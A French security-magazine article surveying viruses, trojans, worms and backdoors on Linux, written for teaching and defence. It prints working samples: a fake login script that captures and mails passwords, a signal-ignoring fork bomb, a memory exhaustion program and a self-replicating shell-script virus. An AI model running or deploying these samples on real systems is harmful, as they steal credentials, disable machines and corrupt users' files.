original in fr Christophe Blaess
Christophe Blaess est un ing�nieur ind�pendant dans le domaine de l'a�ronautique. Passionn� par Linux, il effectue l'essentiel de son travail sur ce syst�me, et assure la coordination des traductions des pages de manuel publi�es par le Linux Documentation Project.
Cet article a �t� publi� dans un num�ro sp�cial sur la s�curit� de Linux
Magazine France. L'�diteur, les auteurs, les traducteurs ont aimablement
accept� que tous les articles de ce num�ro hors-s�rie soient publi�s dans
LinuxFocus. En cons�quence, LinuxFocus vous "offrira" ces articles au fur et
� mesure de leur traduction en Anglais. Merci � toutes les personnes qui se
sont investies dans ce travail. Ce r�sum� sera reproduit pour chaque article
ayant la m�me origine.
Additif : Le num�ro sp�cial mentionn� ci-dessus a donn� naissance �
un magazine trimestriel d�di� � la s�curit� informatique, nomm� MISC et en vente dans les
kiosques (au moment d'�crire ces lignes, il s'agit du num�ro 3). Ce magazine
risque de dispara�tre par manque de lecteurs. Si vous souhaitez lire un
num�ro 4 et plus si affinit�s... achetez-le ! Merci d'avance.
Le site du magazine : MISC
Cet article passe en revue les probl�mes de s�curit� interne pouvant se pr�senter sur un syst�me Linux du seul fait de logiciels agressifs, sans intervention humaine : virus, vers, chevaux de Troie, etc. Nous d�taillerons les diff�rents types de dangers possibles, en examinant les avantages et les inconv�nients des logiciels libres dans cette perspective.
Il existe principalement quatre types de menaces distinctes, ce qui peut semer la confusion dans l'esprit de l'utilisateur, d'autant qu'il arrive fr�quemment qu'une attaque s'appuie sur plusieurs m�canismes :
La classification n'est pas toujours tr�s ais�e ; il y a par exemple des programmes que certains observateurs classent dans les virus et d'autres dans les vers sans qu'une d�cision d�finitive puisse �tre prise. Cela n'a pas une grande importance dans le cadre de cet article qui veut simplement clarifier les id�es sur les dangers qui peuvent menacer un syst�me Linux.
Contrairement � ce que certains croient, ces quatre fl�aux existent d'ores et d�j� sous Linux. Certes, les virus trouvent dans ce syst�me un terrain moins propice � leur d�veloppement que sous Dos par exemple, mais il ne faut pas pour autant n�gliger le danger pr�sent. Nous allons donc examiner en d�tail les risques encourus face � chacun de ces m�canismes.
Un virus est un morceau de code install� au sein d'un programme h�te, et capable de se r�pliquer afin d'infester un nouveau fichier ex�cutable. En fait, les virus sont n�s dans les ann�es soixante-dix, dans le cadre d'un jeu intellectuel en vogue parmi les programmeurs de l'�poque : la "core war". Ce jeu est issu des laboratoires Bell AT&T [MARSDEN 00]. Le but du jeu est de faire fonctionner en parall�le dans un environnement m�moire limit� des petits programmes ayant pour but de se d�truire les uns les autres. Le syst�me d'exploitation n'offrait pas de protection entre les espaces m�moire des diff�rents programmes, aussi leur �tait-il possible de s'agresser mutuellement pour essayer de tuer les concurrents. Pour cela certains bombardaient avec des '0' la zone m�moire la plus large possible, d'autres se d�pla�aient en permanence dans l'espace d'adressage en esp�rant �craser le code d'un adversaire, certains m�mes coop�raient � plusieurs pour �liminer un ennemi coriace.
Les algorithmes mis en oeuvre pour ce jeu �taient traduits dans un langage d'assemblage sp�cialement con�u pour l'occasion, le "red code", qui �tait ex�cut� par l'interm�diaire d'un �mulateur, disponible sur l'essentiel des machines existantes. L'int�r�t que l'on portait � ce jeu �tait le fruit d'une simple curiosit� scientifique, comparable � l'enthousiasme ambiant vis-�-vis des explorations du Jeu de la Vie de Conway, des fractales, des algorithmes g�n�tiques, etc.
N�anmoins, � la suite des articles concernant la core war parus dans le journal Scientific American [DEWDNEY 84], l'in�vitable se produisit et plusieurs personnes se mirent � �crire des portions de code s'auto-r�pliquant en s'accrochant au secteur de d�marrage des disquettes ou aux fichiers ex�cutables, tout d'abord sur ordinateurs Apple ][, puis MacIntosh et PC.
Le syst�me d'exploitation Ms Dos constituait l'environnement de choix pour la prolif�ration des virus : fichiers ex�cutables statiques au format bien connu, pas de m�canisme de protection de la m�moire, aucune s�curit� de droits d'acc�s aux fichiers, g�n�ralisation des programmes r�sidents TSR empil�s en m�moire, etc. Il faut �galement ajouter l'�tat d'esprit g�n�ral des utilisateurs, �changeant fr�n�tiquement des programmes ex�cutables sur disquettes sans se soucier de la provenance des fichiers.
Dans son expression la plus simple, un virus est donc un petit morceau de code qui sera ex�cut� en suppl�ment lors du lancement d'une application. Il profitera de ce moment pour rechercher d'autres fichiers ex�cutables encore non infect�s, s'y incrustera (de pr�f�rence en laissant le programme original intact pour plus de discr�tion) et se terminera. Lorsqu'on lancera le nouveau fichier ex�cutable, l'op�ration recommencera � nouveau.
Les virus peuvent disposer d'une panoplie impressionnante d'armes pour s'auto-r�pliquer. Dans [LUDWIG 91] et [LUDWIG 93] se trouve la description d�taill�e de virus pour Dos, disposant de techniques sophistiqu�es de dissimulation pour �chapper aux logiciels anti-virus courants : encryptage al�atoire, modification permanente du code du virus, etc. Il est m�me possible de rencontrer des virus mettant en pratique les m�thodes des algorithmes g�n�tiques pour optimiser leurs chances de survie et de reproduction. Des informations similaires peuvent �tre trouv�es dans un article assez c�l�bre : [SPAFFORD 94].
Mais il ne faut pas oublier qu'au-del� d'un sujet d'exp�rience en vie artificielle, le virus informatique peut causer d'importants d�g�ts. Car si le principe de la r�plication multiple d'une portion de code n'a pas d'autres r�percussions qu'un gaspillage de place (disque et m�moire), les virus sont g�n�ralement employ�s comme support - comme moyen de transport - pour d'autres entit�s d�j� beaucoup plus antipathiques : les bombes logiques, que nous retrouvons �galement au sein des chevaux de Troie.
Les Troyens assi�g�s ont eu la mauvaise id�e de faire entrer dans leur ville une immense statue en bois repr�sentant un cheval, abandonn�e par les assaillants grecs � titre d'offrande religieuse. Le cheval de Troie recelait en son flanc un v�ritable commando qui une fois infiltr� dans la place profita de la nuit pour attaquer la ville de l'int�rieur, permettant aux Grecs de gagner la guerre de Troie.
Le terme c�l�bre de "cheval de Troie" est souvent employ� dans le domaine de la s�curit� informatique pour d�signer une application a priori innocente servant, � l'instar des virus vus plus haut, � v�hiculer un code destructeur nomm� bombe logique.
Une bombe logique est une portion de programme volontairement nuisible, dont les effets peuvent �tre tr�s vari�s :
La bombe logique peut aussi tenter de d�truire physiquement le syst�me sur lequel elle se trouve. Les possibilit�s sont relativement rares, mais existent malgr� tout (effacement de m�moire CMOS, modification de la m�moire flash des modems, retours en arri�re prolong�s sur les tables tra�antes pouvant entra�ner des bourrages destructeurs, d�placement acc�l�r� des t�tes de lecture des disques...)
Pour filer la m�taphore explosive, nous dirons qu'une bombe logique n�cessite pour son activation l'intervention d'un d�tonateur. En effet, entreprendre des actions d�vastatrices d�s le premier lancement d'un cheval de Troie ou d'un virus est une tactique tr�s mauvaise du point de vue efficacit�. Apr�s son installation, il est pr�f�rable que la bombe logique attende un peu avant d'exploser, cela augmentera les chances d'atteindre d'autres syst�mes dans le cas d'une transmission par virus, et dans celui d'un cheval de Troie, cela �vitera que l'utilisateur ne fasse trop facilement le rapprochement entre l'installation de la nouvelle application et les comportements anormaux de sa machine.
Comme les actions n�fastes, l'�v�nement d�clencheur peut �tre tr�s vari� : d�lai de dix jours apr�s l'installation, disparition d'un compte utilisateur donn� (licenciement), clavier et souris inactifs depuis trente minutes, charge importante de la file d'impression... les possibilit�s ne manquent pas ! Les chevaux de Troie les plus c�l�bres, bien que cela soit un peu galvaud� de nos jours sont les �conomiseurs d'�cran. Derri�re une fa�ade attrayante, ces programmes peuvent nuire en toute tranquillit�, surtout si la bombe logique n'est d�clench�e qu'au bout d'une heure par exemple, ce qui assure que l'utilisateur n'est plus devant son ordinateur.
Un autre exemple fameux de cheval de Troie est le script suivant qui affiche un �cran de connexion login/password, envoie les informations � l'adresse �lectronique de la personne l'ayant lanc�, puis se termine. S'il fonctionne sur un terminal apparemment inutilis�, ce script permettra de capturer le mot de passe de la prochaine personne essayant de se connecter.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login : $login
passwd : $passwd
fin
echo "Login incorrect"
sleep 1
logout
Pour qu'il se d�connecte en se terminant, il faut le lancer avec
la commande exec du shell. La victime pensera avoir
fait une faute de frappe en voyant le message "Login
incorrect" et se connectera � nouveau par le m�canisme
normal cette fois.
Des versions plus �volu�es peuvent simuler la bo�te de dialogue
de connexion sous X11. Pour �viter ce genre de pi�ge, il est bon
de prendre l'habitude, en arrivant sur un terminal, de toujours
faire un cycle login/password fictif, avec des caract�res quelconques,
afin d'�tre s�r d'avoir vraiment � faire au syst�me de connexion
officiel (c'est un r�flexe que l'on peut acqu�rir rapidement).
Les "vers" sont issus du principe des virus. Il s'agit de programmes essayant, par r�plication, d'obtenir une diss�mination maximale. Ils peuvent �galement contenir, bien que ce ne soit pas leur caract�ristique premi�re, une bombe logique � d�clenchement retard�. La diff�rence entre vers et virus vient du fait que les vers n'emploient pas un programme h�te comme moyen de transport, mais utilisent les possibilit�s offertes par les r�seaux, g�n�ralement le courrier �lectronique, pour se propager de machines en machines.
Les vers sont d'un niveau technique relativement �lev� ; ils utilisent les failles de s�curit� des logiciels proposant des services r�seau pour forcer l'ex�cution d'une copie d'eux-m�mes sur une machine distante. L'arch�type en est l'"Internet Worm" de 1988.
L'Internet Worm est un exemple de ver pur, ne contenant pas de bombe logique, mais dont l'effet d�vastateur involontaire f�t quand m�me redoutable. On peut en trouver une description sommaire mais pr�cise dans [KEHOE 92] ou une analyse d�taill�e dans [SPAFFORD 88] ou [EICHIN 89]. On en trouve �galement une narration moins technique mais plus palpitante dans [STOLL 89] (� la suite de l'aventure principale de l'Oeuf du Coucou), o� la fr�n�sie des �quipes luttant contre ce ver succ�de � la vague de panique gagnant les administrateurs des syst�mes touch�s.
Rapidement d�crit, ce ver �tait un programme �crit par Robert Morris Jr, �tudiant � l'universit� de Cornell, d�j� connu pour un article sur les probl�mes de s�curit� des protocoles r�seaux [MORRIS 85]. Le fait qu'il s'agisse �galement du fils d'un des responsables de la s�curit� informatique de la NCSC, branche de la NSA, ajouta � l'impact de cette identification. Le programme lanc� en fin d'apr�s-midi le 2 novembre 1988 paralysa une grande partie des syst�mes reli�s � Internet. Il fonctionnait en plusieurs temps :
netstat fournissant des informations sur les
interfaces r�seau.
/etc/passwd) accessible en
lecture, profitant ainsi des utilisateurs ayant fait un mauvais
choix de mot de passe. Cette premi�re faille a depuis �t� combl�e
par le m�canisme des shadow passwords.
~/.rhost et
/etc/hosts.equiv. Dans ce cas il utilisait
le m�canisme rsh pour ex�cuter des instructions sur la
machine distante. Il pouvait ainsi se recopier sur le nouvel h�te et
le cycle reprenait.
fingerd. Ce bogue permettait l'ex�cution
de code � distance. Aussi le vers pouvait-il se recopier sur le
nouveau syst�me et recommencer. Cela ne fonctionnait dans la
pratique que sur certains types de processeurs.
sendmail, et permettant
d'envoyer un courrier qui �tait finalement transmis sur l'entr�e
standard du programme indiqu� en tant que destinataire. Cette
option n'aurait jamais due �tre activ�e sur des machines en exploitation,
mais la plupart des administrateurs en ignoraient malheureusement
l'existence.
Il faut noter qu'une fois que le ver avait trouv� le moyen d'ex�cuter quelques instructions sur la machine distante, sa recopie �tait assez complexe. Elle impliquait la transmission d'un petit programme en C, recompil� sur place, puis lanc�. Celui-ci �tablissait une connexion TCP/IP avec l'ordinateur de d�part, et r�cup�rait les fichiers binaires complets du ver. Ces derniers, pr�compil�s, existaient pour plusieurs architectures (Vax et Sun), ils �taient essay�s l'un apr�s l'autre. De plus le ver faisait preuve de beaucoup de pr�cautions pour se dissimuler, ne pas laisser de trace, etc.
Malheureusement, le m�canisme qui devait �viter qu'un m�me ordinateur soit infect� � plusieurs reprises ne fonctionna pas comme pr�vu, et l'aspect nuisible du ver Internet 88, qui ne contenait pas de bombe logique, se manifesta donc par une forte surcharge des syst�mes atteints (et notamment un engorgement des courriers �lectroniques, ce qui entra�na par ailleurs un retard dans la diffusion des rem�des).
Les vers sont relativement rares, du fait de la complexit� de leur r�alisation. Il ne faut pas les confondre avec un autre type de dangers, de plus en plus courants, les virus se transmettant en pi�ce attach�e des courriers �lectroniques � la mani�re du fameux "ILoveYou". De conception beaucoup plus simple, il s'agit en r�alit� de macros �crites (en Basic) pour des applications de bureautique lanc�es automatiquement lorsque le courrier est lu. Cela ne fonctionne que sur certains syst�me d'exploitation, lorsque le logiciel de consultation du courrier est configur� de mani�re simpliste. Ces programmes s'apparentent beaucoup plus au chevaux de Troie qu'aux vers, puisqu'ils demandent une action effective de la part de l'utilisateur pour �tre lanc�s.
Les acc�s cach�s (backdoors) peuvent �tre rapproch�s des chevaux de Troie, mais ils ne sont toutefois pas identiques. Un acc�s cach� permet � un utilisateur inform� d'effectuer une action secr�te sur un logiciel, afin d'en obtenir un comportement diff�rent. Cela peut s'apparenter aux cheat codes que l'on saisit durant un jeu pour disposer de ressources suppl�mentaires, arriver directement � un niveau sup�rieur, etc. Mais cela concerne �galement des applications critiques comme l'authentification des connexions ou le courrier �lectronique, qui peuvent offrir un acc�s dissimul� gr�ce � un mot de passe connu du seul concepteur du logiciel.
Le fait de laisser une trappe ouverte sur un logiciel pour pouvoir
l'utiliser sans passer par la phase d'authentification normale est
souvent d� � des programmeurs d�sirant faciliter la phase
de d�bogage, m�me une fois l'application install�e sur le site
client. Il s'agit parfois d'acc�s officiels disposant de mots de
passe par d�faut (system, admin,
superuser, etc) dont la pr�sence n'est document�e que
de mani�re obscure ce qui conduit les administrateurs ult�rieurs �
les laisser en place.
On se souviendra des diff�rents acc�s dissimul�s permettant de dialoguer avec le coeur du syst�me du film "Wargame", mais on peut �galement retrouver des t�moignages ant�rieurs relatant de telles pratiques. Dans un article assez incroyable [THOMPSON 84], Ken Thompson, l'un des p�res d'Unix, d�crit un m�canisme d'acc�s cach� qu'il avait mis en place sur les syst�mes Unix plusieurs ann�es auparavant :
/bin/login pour y
incorporer une portion de code offrant l'acc�s direct au syst�me
sur saisie d'un mot de passe
pr�compil� en dur (sans tenir compte de /etc/passwd).
Ainsi tout syst�me fonctionnant avec cette version de
login pouvait-il �tre visit� par Thompson.
login.c �tait pr�sent sur les
syst�mes Unix, et n'importe qui aurait pu voir le code pi�g�.
Thompson fournissait donc un source login.c propre,
ne contenant pas la trappe d'acc�s.
login.c et effacer la version
pi�g�e. Aussi Thompson modifia-t-il le compilateur C standard
pour qu'il ajoute lui-m�me l'acc�s cach� lorsqu'il s'apercevait
qu'on lui demandait de compiler login.c.
cc.c
�tait disponible, et n'importe qui aurait pu voir les lignes
suspectes ou recompiler le compilateur. Il fournissait donc
une version innocente des sources du compilateur C, mais le
fichier binaire, pr�alablement trait�, �tait pr�vu pour
reconna�tre ses propres fichiers source, et ins�rait alors
le code servant � ins�rer le code servant � infecter
login.c...
Que faire contre ceci ? Dans l'absolu, rien ! La seule possibilit� serait de repartir avec un syst�me totalement vierge et insoup�onnable. � moins de reconstruire � partir de z�ro une machine dont on cr�e tout le microcode, le syst�me d'exploitation, les compilateurs, et les utilitaires, rien ne nous permet d'�tre s�rs de l'innocuit� d'une application donn�e m�me si les sources en sont disponibles.
Nous avons examin� les risques essentiels auxquels un syst�me quelconque peut �tre expos�. � pr�sent, il nous faut d�terminer les menaces qui p�sent plus particuli�rement sur les logiciels libres et sur Linux.
Int�ressons-nous tout d'abord aux d�g�ts qu'une bombe logique est susceptible de provoquer si elle s'ex�cute sur une station Linux. Naturellement cela varie en fonction de l'effet recherch� et des privil�ges de l'utilisateur sous l'identit� duquel elle se d�clenche.
En ce qui concerne la destruction de fichiers syst�me ou la consultation de donn�es confidentielles, deux cas sont possibles. Si la bombe s'ex�cute sous l'identit� root, elle aura tout pouvoir sur la machine, y compris l'�crasement de toutes les partitions, et les �ventuelles menaces sur le mat�riel que nous avons �voqu�es plus haut. En revanche, si elle s'ex�cute sous une identit� quelconque, elle ne pourra pas �tre plus destructrice qu'un utilisateur sans privil�ge ne le serait. Elle ne pourra d�truire que les donn�es appartenant � cet utilisateur pr�cis. En ce cas, la responsabilit� de chacun s'applique envers ses propres fichiers. Un administrateur syst�me consciencieux ne r�alise qu'un minimum de t�ches en �tant connect� sous l'identit� root, ce qui diminue la probabilit� de d�clencher une bombe logique avec ce compte.
Si le syst�me Linux prot�ge relativement bien les donn�es priv�es et les acc�s au mat�riel, en revanche il reste sensible aux attaques visant simplement � le rendre inop�rant par consommation excessive des ressources. Par exemple, le programme C suivant est tr�s difficile � arr�ter, m�me si on le d�marre depuis un compte utilisateur anodin, car s'il n'y a pas de limite impos�e pour le nombre de processus par utilisateur, il va d�vorer toutes les entr�es disponibles de la table des processus, et emp�cher toute nouvelle connexion pour essayer de le tuer :
#include <signal.h>
#include <unistd.h>
int
main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
Les limitations que l'on peut imposer aux utilisateurs (par
l'appel-syst�me setrlimit(), et la fonction
ulimit du shell) permettent d'abr�ger le fonctionnement
d'un tel programme, mais leur action n'intervient qu'apr�s un temps
sensible, durant lequel le syst�me est inaccessible.
Dans le m�me ordre d'id�e, un programme comme le suivant qui consomme toute la m�moire disponible, puis se met en boucle d�vorant les cycles CPU est tr�s g�nant car il perturbe le fonctionnement d'autres processus :
#include <stdlib.h>
#define LG 1024
int
main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
En principe, ce programme est automatiquement tu� par le m�canisme de gestion de la m�moire virtuelle dans les versions r�centes du noyau. Mais auparavant, le noyau peut d�truire d'autres t�ches r�clamant beaucoup de m�moire et r�cemment inactives (applications graphiques X11 par exemple). En outre, tous les autres processus r�clamant de la m�moire verront leurs demandes �chouer, ce qui les conduit bien souvent � se terminer imm�diatement.
La mise hors-service de fonctionnalit�s r�seau, est �galement assez
simple, en surchargeant le port concern� par des demandes de
connexion incessantes. Les rem�des existent pour �viter ceci, mais
ils ne sont pas toujours mis en oeuvre par l'administrateur syst�me.
Nous voyons donc que sous Linux, bien qu'une bombe logique d�clench�e
par un utilisateur quelconque ne puisse pas d�truire de fichiers
ne lui appartenant pas, les nuisances sont v�ritablement possibles et
assez simples � r�aliser puisqu'il suffit de combiner une poign�e de
fork(), malloc() et connect()
pour �prouver durement le syst�me et les services r�seau.
Subject: Unix Virus VOUS AVEZ RECU UN VIRUS UNIX Ce virus fonctionne sur un principe coop�ratif : Si vous utilisez Linux ou une variante d'Unix, veuillez retransmettre ce message � toutes vos connaissances, et d�truire quelques fichiers au hasard sur votre syst�me. |
Contrairement � une id�e trop souvent r�p�t�e, les virus peuvent tr�s bien constituer une menace sous Linux. Il en existe d'ailleurs plusieurs. Ce qui est vrai en revanche, c'est qu'un virus sous Linux se trouvera dans un terrain o� la diss�mination sera difficile. Tout d'abord observons la phase d'infection d'une machine. Il faut que le code du virus y soit ex�cut�. Cela signifie qu'un fichier ex�cutable corrompu a �t� copi� depuis un autre syst�me. Dans le milieu Linux, l'habitude veut que pour fournir une application � un correspondant, on ne lui envoie pas directement les fichiers ex�cutables, mais on lui transmet plut�t l'URL o� on a obtenu le logiciel. Cela signifie que l'infection proviendra � coup s�r d'un site officiel, o� elle sera probablement d�tect�e tr�s rapidement. De m�me, une fois une machine infect�e, pour qu'elle diss�mine � son tour le virus, il faudrait qu'elle soit utilis�e comme plate-forme de distribution pour des applications pr�compil�es, cas peu r�pandu dans l'ensemble. En fait le fichier ex�cutable n'est pas un bon moyen de transport pour une bombe logique dans le monde des logiciels libres.
En ce qui concerne la diss�mination interne � une machine, il est �vident qu'une application infect�e ne peut �tendre la contagion qu'aux fichiers sur lesquels l'utilisateur qui la lance a un droit d'�criture. L'administrateur syst�me prudent travaillant sur le compte root uniquement pour r�aliser les op�rations n�cessitant v�ritablement des privil�ges, il est peu probable qu'il lance un nouveau logiciel en �tant connect� sous cette identit�. � moins d'installer une application Set-UID root infect�e par un virus, le danger est donc bien amoindri. Lorsqu'un utilisateur quelconque lancera un programme infect�, le virus ne pourra agir que sur les fichiers dont l'utilisateur est propri�taire, ce qui l'emp�chera de se r�pandre dans les utilitaires syst�me.
Si les virus ont longtemps repr�sent� une utopie sous Unix, c'est �galement en raison de la diversit� des processeurs (donc des langages d'assemblage) et des biblioth�ques (donc des r�f�rences objets) qui limitait la port�e de tout code pr�compil�. Aujourd'hui ce n'est plus autant le cas, et un virus infectant les fichiers ELF compil�s pour Linux sur processeur i386 avec la GlibC 2.1 trouverait un nombre de cibles importantes. D'autre part un virus peut tr�s bien �tre �crit dans un langage ne d�pendant pas de l'h�te l'ex�cutant. Voici par exemple un virus pour script shell. Il essaye de s'introduire en t�te de tout script shell rencontr� en aval du r�pertoire o� on le lance. Pour �viter d'infecter plusieurs fois de suite le m�me script, le virus ignore les fichiers dont la seconde ligne contienne le commentaire "infect�" ou "vaccin�".
#! /bin/sh
# infect�
( tmp_fic=/tmp/$$
candidats=$(find . -type f -uid $UID -perm -0755)
for fic in $candidats ; do
exec < $fic
# Essayons de lire une premi�re ligne,
if ! read ligne ; then
continue
fi
# et v�rifions que ce soit un script shell.
if [ "$ligne" != "#!/bin/sh" ] && [ "$ligne" != "#! /bin/sh" ] ; then
continue
fi
# Lisons une seconde ligne.
if ! read ligne ; then
continue
fi
# Le fichier est-il d�j� infect� ou vaccin� ?
if [ "$ligne" == "# vaccin�" ] || [ "$ligne" == "# infect�" ] ; then
continue
fi
# Sinon on l'infecte : recopier le corps du virus,
head -33 $0 > $tmp_fic
# puis le fichier original.
cat $fic >> $tmp_fic
# �craser le fichier original.
cat $tmp_fic > $fic
done
rm -f $tmp_fic
) 2>/dev/null &
Le virus ne prend pas de pr�caution pour masquer sa pr�sence ou son
action, hormis de s'ex�cuter � l'arri�re-plan tout en laissant le
script original r�aliser son travail normal. Bien �videmment ne
lancez pas ce script en �tant connect� sous l'identit�
root ! Surtout si vous remplacez le
find . par find /. Malgr� la
simplicit� de ce programme, on s'aper�oit vite qu'il est facile de le
laisser fuir involontairement, surtout si le syst�me contient
beaucoup de scripts shell personnalis�s.
La table 1 regroupe des informations sur les virus les plus connus sous Linux. Tous ces virus infectent les fichiers ex�cutables au format Elf en ins�rant leur code juste apr�s l'ent�te du fichier, et en d�calant le reste du code original. Sauf indication contraire, ils recherchent des cibles d'infection potentielles dans les r�pertoires syst�me. On voit � la lumi�re de ce tableau que le ph�nom�ne des virus sous Linux n'est pas anecdotique, m�me s'il n'est pas trop alarmant, essentiellement parce que ces virus sont jusqu'� pr�sent inoffensifs.
| Nom | Bombe logique | Remarques |
| Bliss | Apparemment inactive | D�sinfection automatique du fichier ex�cutable si on l'invoque
avec l'option --bliss-disinfect-files-please
|
| Diesel | N�ant | |
| Kagob | N�ant | Utilise un fichier temporaire pour ex�cuter le programme original infect� |
| Satyr | N�ant | |
| Vit4096 | N�ant | N'infecte que les fichiers du r�pertoire courant. |
| Winter | N�ant | Le code du virus est contenu dans 341 octets. Il n'infecte que les fichiers du r�pertoire courant. |
| Winux | N�ant | Ce virus contient deux codes diff�rents, et peut infecter autant les fichiers Windows que les fichiers Elf Linux. Toutefois il n'est pas capable d'explorer des partitions diff�rentes de celle o� il est stock�, ce qui limite de fait sa diffusion. |
| ZipWorm | Ins�re dans les fichiers Zip qu'il rencontre, des textes "trolls" sur Linux et Windows |
On remarquera que le virus "Winux" est capable de se diss�miner autant sous Linux que sous Windows. Il ne s'agit en pratique que d'un virus b�nin, repr�sentant plus une d�monstration de possibilit� qu'un v�ritable danger. Toutefois ce concept fait froid dans le dos, si l'on r�alise qu'un tel intrus pourrait sauter de partition en partition, envahir un r�seau h�t�rog�ne utilisant des serveurs Samba, etc. L'�radication serait d'autant plus difficile que les outils n�cessaires devraient �tre disponibles sur les deux syst�mes en m�me temps. Il est important de noter que les m�canismes de protection Linux, qui emp�chent un virus fonctionnant sous une identit� quelconque de modifier des fichiers syst�me disparaissent si la partition est acc�d�e depuis un virus fonctionnant sous Windows.
Insistons sur ce point : toutes les pr�cautions d'administration que vous pouvez prendre sous Linux n'ont plus aucune efficacit� si vous red�marrez votre machine sur une partition Windows contenant un �ventuel virus multi plates-formes. Il s'agit d'un probl�me g�n�ral pour toutes les stations disposant d'un dual-boot avec deux syst�mes d'exploitation ; la protection g�n�rale de l'ensemble repose sur les m�canismes de s�curit� du syst�me le plus laxiste ! La seule solution viable est d'emp�cher tout acc�s � vos partitions Linux depuis une application tournant sous Windows, en employant des syst�mes de fichiers crypt�s. Ceci n'est malheureusement pas encore tr�s r�pandu, et gageons que ces virus attaquant des partitions non-mont�es vont repr�senter tr�s prochainement un danger consid�rable pour les machines Linux.
Les chevaux de Troie sont tout aussi redoutables que les virus, et le public semble en avoir plus conscience. Contrairement � une bombe logique v�hicul�e par un virus, celle qui se trouve dans un cheval de Troie aura �t� volontairement ins�r�e par une intervention humaine. Dans le monde des logiciels libres, la cha�ne s'�tendant entre l'auteur d'une portion de code et l'utilisateur final ne contient au maximum qu'un � deux interm�diaires (disons un responsable de projet et un pr�parateur de distribution). En cas de d�couverte d'un cheval de Troie, le responsable sera alors facilement retrouv�.
Le monde des logiciels libres est donc relativement bien prot�g� contre les chevaux de Troie. Mais il s'agit bien des logiciels libres tels que nous les connaissons de nos jours, avec des projets clairement administr�s, des auteurs disponibles, et des sites Internet de r�f�rence. Au contraire le syst�me des logiciels sharewares ou freewares disponibles sous forme pr�compil�e uniquement, distribu�s de mani�re anarchique par des centaines de sites (ou de CD-rom de journaux) et o� l'auteur n'est identifi� que par une adresse �lectronique falsifiable est-il une v�ritable �curie de chevaux de Troie.
Notez que le fait de disposer des sources d'une application, et de la
recompiler soi-m�me n'est pas n�cessairement un gage de s�curit�. Par
exemple une bombe logique redoutable peut �tre dissimul�e dans le
script "configure" (celui que l'on invoque durant le
"./configure; make") qui contient en g�n�ral plus
de 2000 lignes de code ! Dans le m�me ordre d'id�e, si le
fichier source d'une application est propre et se compile
normalement, cela n'emp�che pas le Makefile de
dissimuler une bombe se d�clenchant lors du
"make install" final que l'on invoque g�n�ralement
sous l'identit� root !
Enfin, une partie importante des virus et chevaux de Troie redoutables sous Windows sont en r�alit� des macros s'ex�cutant lors de la consultation d'un document. Les suites bureautiques sous Linux ne savent pour l'instant pas interpr�ter ces macros, et l'utilisateur en tire un peu vite un sentiment de s�curit� exag�r�. Il viendra bien un moment o� ces outils bureautiques auront la capacit� d'ex�cuter les macros en Basic incluses dans le document. Que les concepteurs aient la mauvaise id�e de laisser ces macros lancer des commandes sur le syst�me finira �galement par arriver un jour. Bien s�r l'effet destructeur, comme pour les virus, sera limit� aux privil�ges de l'utilisateur, mais le fait de ne pas avoir perdu de fichier syst�me (par ailleurs disponibles sur le CD d'installation) est un pi�tre r�confort pour l'utilisateur personnel qui vient de voir dispara�tre tous ses documents, ses fichiers source, sa correspondance, alors que sa derni�re sauvegarde date d'un mois.
Notons pour terminer ce paragraphe sur les chevaux de Troie ins�r�s
dans des donn�es, qu'il y a toujours une possibilit� d'ennuyer
l'utilisateur, m�me sans faire de d�g�ts, avec certains fichiers
n�cessitant une interpr�tation. On voit de temps � autre circuler sur
Usenet des fichiers compress�s qui se d�veloppent en une infinit�
d'autres fichiers jusqu'� saturation du disque. De m�me certains
fichiers Postscript peuvent-ils bloquer l'interpr�teur
(ghostscript ou gv) en consommant du temps
CPU. Ces actions ne sont pas bien redoutables, mais font perdre du
temps et agacent l'utilisateur.
Si Linux n'existait pas encore lors de la diffusion du Vers Internet de 1988, il n'en est pas moins probable qu'il aurait constitu� une cible de choix pour ce genre d'attaque, la disponibilit� des sources des logiciels libres simplifiant la recherche des failles de s�curit� (d�bordements de buffers par exemple). La complexit� d'�criture d'un vers de bonne qualit� limite le nombre de ceux effectivement actifs sous Linux. La table 2 en pr�sente quelques-uns, parmi les plus r�pandus.
Les vers exploitent les failles de s�curit� pr�sentes sur des serveurs r�seau. Les stations ayant une faible connectivit� � Internet ne sont donc th�oriquement pas soumises � un risque aussi important que les serveurs connect�s en permanence. N�anmoins l'�volution actuelle des moyens de liaison offerts aux particuliers (C�ble, ADSL, etc.), ainsi que la facilit� de mise en oeuvre des services r�seau courants (serveur HTTP, FTP anonyme, etc.) font que tout un chacun peut �tre concern� rapidement.
| Nom | Failles exploit�es | Remarques |
Lion (1i0n)
| bind
| Installe un acc�s cach� (port TCP 10008) et un root-kit sur la machine envahie. Envoie des informations syst�me vers une adresse �lectronique en Chine. |
| Ramen | lpr, nfs, wu-ftpd
| Modifie les fichiers index.html qu'il rencontre
|
| Adore (Red Worm) | bind, lpr, rpc, wu-ftpd
| Installe un acc�s cach� sur le syst�me et envoie les informations
vers des adresses �lectroniques en Chine et aux Etats-Unis.
Installe une version modifi�e de ps masquant ses processus.
|
| Cheese | Comme Lion | Vers pr�tendu "bienfaisant" v�rifiant et �liminant les acc�s cach�s ouverts par Lion. |
En ce qui concerne les vers, on remarquera que leur diss�mination est forc�ment limit�e dans le temps. Ils ne "survivent" qu'en se r�pliquant de syst�mes en syst�mes, et du fait qu'ils s'appuient sur des failles de s�curit� r�cemment d�couvertes, les mises � jour rapides des applications vis�es bloquent leur dispersion. Dans l'avenir, il est probable que les syst�mes destin�s aux particuliers devront automatiquement venir consulter quotidiennement des sites de r�f�rence - auxquels il faudra accorder toute confiance - pour y trouver les correctifs de s�curit� des applications syst�me. Ce principe sera probablement indispensable pour �viter � l'utilisateur de se livrer � un travail complet d'administrateur syst�me, tout en lui laissant la possibilit� de disposer d'applications r�seau performantes.
